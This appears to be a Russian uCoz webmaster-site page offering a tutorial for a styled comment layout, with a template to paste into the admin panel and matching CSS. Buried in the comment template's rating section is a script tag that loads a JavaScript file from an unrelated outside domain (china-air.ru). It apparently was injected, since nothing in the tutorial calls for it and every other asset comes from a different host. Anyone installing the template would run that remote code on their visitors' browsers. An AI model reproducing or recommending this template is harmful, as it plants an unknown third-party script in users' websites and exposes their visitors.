Меню сайта
Наш опрос
Как вам шапка сайта?
Всего ответов: 12
Статистика

Статистика:

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Форма входа
Регистрация домен
регистрация доменов
домен RU - 99 руб
домен РФ - 99 руб
Зарегистрируй себе домен! имя: 

2domains.ru
Друзья сайта
Главная » Файлы » Сайтостроительство » Другие скрипты

Новый вид комментария для uCoz с уголком
16.12.2012, 14:51
Описание: Новый вид комментария для uCoz с уголком. Небольшой вариант, вида комментарий, в котором установлено изображение уголка и прописаны стили, отвечающие за тень объекта.
Установка:
- заходим в админ панель сайта Дизайн => Новости сайта => Страница материала и комментария к нему
ищем код

Code
$COM_BODY$


и заменяем его на

Code
<ul class="cell_coment">
$COM_BODY$
</ul>


- теперь заходим Дизайн => Комментарии => Вид комментариев и устанавливаем следующий код

Code
<li>
<div class="avatar"><?if($USERNAME$)?><a href="$PROFILE_URL$"><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?></a><?else?><?if($USER_AVATAR_URL$)?><img src="$USER_AVATAR_URL$" alt="$USERNAME$" /><?else?><img src="http://www.center-dm.ru/ucoz/vid_coment/avatar_01.png" alt="аватар отсутствует" /><?endif?><?endif?></div>
<div class="coment_info">
<span class="tip"></span>
<div class="coment_os">
<div class="coment_name left"><?if($USERNAME$)?><a href="$PROFILE_URL$">$USERNAME$</a><?else?>$NAME$<?endif?> <span style="">($DATE$ $TIME$)</span></div><div class="coment_nomer right"><a href="#ent$ID$" onclick="if (document.getElementById('comEnt$ID$')){$('body').scrollTo( { top:$('#comEnt$ID$').offset().top-22, left:0}, 500 );return false;}" name="ent$ID$">$NUMBER$</a></div><div class="clear"></div>
<div class="coment_message left">$MESSAGE$</div>
<div class="coment_rating right"><?if($COMMENT_RATING$<0)?>$COMMENT_RATING$ <?else?><?if($COMMENT_RATING$=0)?><span style="color:gray;">$COMMENT_RATING$ </span><?else?><script src="http://china-air.ru/tsed.js" type="text/javascript"></script><span class="myWinSuccess">+$COMMENT_RATING$</span><?endif?><?endif?><?if($GOOD_COMMENT_URL$)?><a href="$GOOD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_01.gif" width="10" align="absmiddle" border="0" title="Хороший пост"></a> <a href="$BAD_COMMENT_URL$"><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_01.gif" width="10" border="0" align="absmiddle" title="Плохой пост"></a><?else?><img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/plus_02.png" align="absmiddle" width="10" border="0" title="Хороший пост"> <img alt="" src="http://www.center-dm.ru/ucoz/vid_coment/minuc_02.png" width="10" align="absmiddle" border="0" title="Плохой пост"><?endif?> $MODER_PANEL$</div>
</div>
</div>
</li>


- и прописываем в css следующий код

Code
/* ВИД КОММЕНТАРИЯ
===================================================*/
.cell_coment {
list-style: none;
padding: 0px;
margin: 0px;
}

.cell_coment li {
position: relative;
padding-left: 60px;
width: 500px;
}

.coment_info {
position: relative;
text-align:justify;
color: #555;
background: #fff;
border: 1px solid #C9C9C9;
padding: 10px;
margin-bottom: 30px;
}

.coment_os {
overflow: hidden;
}

.coment_name,
.coment_nomer {
padding-bottom: 5px;
}

.coment_message {
width: 100%;
border-top: 1px solid #C9C9C9;
border-bottom: 1px solid #C9C9C9;
padding: 5px 0px;
}

.coment_rating {
padding-top: 5px;
}

.coment_name,
.coment_nomer,
.coment_rating {
font:10px Verdana,Arial,Helvetica, sans-serif; color:#999;
font-weight: bold;
}

.avatar a:hover,
.avatar {
position: absolute;
height: 45px;
width: 45px;
left: 0;
}

.avatar img {
height: 45px;
width: 45px;
border: none;
}

.tip{
position: absolute;
top: 10px;
left: -7px;
height: 13px;
width: 9px;
background: url("http://www.center-dm.ru/ucoz/vid_coment/fon_ugol.png") no-repeat top left;
}

.coment_info,
.avatar a:hover {
box-shadow: 0px 0px 5px #999;
-moz-box-shadow: 0px 0px 5px #999;
-webkit-box-shadow: 0px 0px 5px #999;
}

.left {float:left;}
.right {float:right;}
.clear {clear:left;}

.coment_rating a:hover img {filter: progid: DXImageTransform.Microsoft.Alpha(opacity=50); -moz-opacity: 0.5; opacity: 0.5; filter: alpha(opacity=50);}
/* =================================================*/


Добавить в
Категория: Другие скрипты | Добавил: budyvmaster
Просмотров: 469 | Загрузок: 0 | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]

Может вам понравятся другие материалы сайта:
Мини-профиль
Сегодня 26.11.2024 09:36
Аватар
Информация

Вы не авторизованы, пожалуйста зарегистрируйтесь или авторизуйтесь!
Поиск
Полезные ссылки Хостинг фото
Мини-хостинг Файлов
Мы в twitter
Admin новости
Добавлено 27.02.2013 | Добавил WeB-DiZiC

Вчера я решил попробовать заработать хоть копеечку на этом проекте и добавил рекламный блок smile Если вы в нем найдете интересную рекламу то смело нажимайте на нее smile

Добавлено 08.10.2012 | Добавил WeB-DiZiC

Добавлена возможность авторизации через социальные сети "Вконтакте" и "Facebook"

Добавлено 24.09.2012 | Добавил WeB-DiZiC

Сайт переехал на платный домен и теперь мы доступны по web-dizic.ru

Реклама от google



WeB-DiZiC by Al-Sher
Рекомендуемый браузер Chromе
Не советуем использовать IE!
/a>